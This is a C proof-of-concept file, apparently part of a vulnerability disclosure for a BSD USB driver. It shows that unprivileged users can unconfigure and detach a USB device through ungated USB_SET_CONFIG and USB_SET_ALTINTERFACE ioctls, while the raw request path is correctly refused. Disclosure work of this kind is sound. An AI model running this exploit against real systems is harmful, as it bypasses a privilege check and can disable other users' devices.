DF-5316 / df5316.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 | /* * DF-5316 -- missing privilege check on USB_SET_CONFIG / * USB_SET_ALTINTERFACE in ugen_ioctl_post (sys/bus/u4b/usb_generic.c). * * The same file gates the equivalent RAW control requests behind * caps_priv_check_self(SYSCAP_NODRIVER): * ugen_check_request(): UR_SET_ADDRESS / UR_SET_CONFIG / * UR_SET_INTERFACE [usb_generic.c:874-887] * and USB_DEVICEENUMERATE / ugen_re_enumerate() is gated too * [usb_generic.c:952]. But: * USB_SET_CONFIG -> ugen_set_config() [usb_generic.c:2096-2102] * USB_SET_ALTINTERFACE -> ugen_set_interface() [usb_generic.c:2114-2121] * have NO privilege check at all (only FWRITE on the fd), so any * unprivileged user with libusb-style access to the ugen control node * (operator group / 0660, or 0666 rigs) can reconfigure the device, * detach its drivers and force re-enumeration -- exactly what the * SYSCAP gate on the raw request path is supposed to prevent. * * Build: cc -O -Wall -o df5316 df5316.c * Run: ./df5316 (unprivileged, rw on /dev/usb/0.2.0) * Success: (1) raw SET_CONFIGURATION via USB_REQUEST -> EPERM, * (2) USB_SET_CONFIG ioctl -> 0 and the device actually * unconfigures (config index 255, driver detached, ugen * endpoint nodes vanish), (3) USB_SET_CONFIG(0) restores it. */ #include <sys/types.h> #include <sys/ioctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <bus/u4b/usb.h> #include <bus/u4b/usb_ioctl.h> #ifndef DEV #define DEV "/dev/usb/0.2.0" #endif static int fd; static int get_config(int *idx) { return (ioctl(fd, USB_GET_CONFIG, idx)); } static void show_state(const char *tag) { int cfg = -1; if (get_config(&cfg) == 0) printf("[%s] curr_config_index = %d\n", tag, cfg); else printf("[%s] USB_GET_CONFIG: %s\n", tag, strerror(errno)); if (access("/dev/usb/0.2.1", F_OK) == 0) printf("[%s] /dev/usb/0.2.1 (interrupt-IN endpoint node): present\n", tag); else printf("[%s] /dev/usb/0.2.1: GONE (driver detached / unconfigured)\n", tag); } int main(void) { struct usb_ctl_request ur; uint8_t xfer_buf[8]; int cfg, r, i; fd = open(DEV, O_RDWR); if (fd < 0) err(1, "open %s (as %d)", DEV, geteuid()); printf("[*] running as uid=%d euid=%d\n", getuid(), geteuid()); get_config(&cfg); show_state("before"); /* * 1) Prove the raw control-request path IS privileged: * SET_CONFIGURATION(current) via USB_REQUEST. */ memset(&ur, 0, sizeof(ur)); ur.ucr_request.bmRequestType = UT_WRITE_DEVICE; /* 0x00 */ ur.ucr_request.bRequest = UR_SET_CONFIG; /* 0x09 */ USETW(ur.ucr_request.wValue, cfg ? cfg : 1); USETW(ur.ucr_request.wIndex, 0); USETW(ur.ucr_request.wLength, 0); ur.ucr_data = xfer_buf; r = ioctl(fd, USB_REQUEST, &ur); printf("[1] USB_REQUEST(SET_CONFIGURATION) = %d errno=%s " "(expected EPERM: SYSCAP_NODRIVER gate)\n", r, r ? strerror(errno) : "0/no-error"); /* * 2) The ioctl that does the same thing without any gate: * unconfigure the device (index 0xFF = USB_UNCONFIG_INDEX). */ r = ioctl(fd, USB_SET_CONFIG, &(int){255}); printf("[2] USB_SET_CONFIG(255=UNCONFIG) = %d errno=%s " "(expected 0: no privilege check on this path)\n", r, r ? strerror(errno) : "0/no-error"); for (i = 0; i < 40; i++) { /* wait for the explore thread */ int c; if (get_config(&c) == 0 && c == 255) break; usleep(250000); } show_state("after unconfig"); /* * 3) USB_SET_ALTINTERFACE is equally ungated; on the mouse * (single alt) it is a no-op that must still return 0. */ { struct usb_alt_interface ai; memset(&ai, 0, sizeof(ai)); ai.uai_interface_index = 0; ai.uai_alt_index = 0; r = ioctl(fd, USB_SET_ALTINTERFACE, &ai); printf("[3] USB_SET_ALTINTERFACE(0,0) = %d errno=%s\n", r, r ? strerror(errno) : "0/no-error"); } /* * 4) Restore the configuration (again unprivileged). */ r = ioctl(fd, USB_SET_CONFIG, &(int){0}); printf("[4] USB_SET_CONFIG(0) restore = %d errno=%s\n", r, r ? strerror(errno) : "0/no-error"); sleep(3); show_state("after restore"); return (0); } |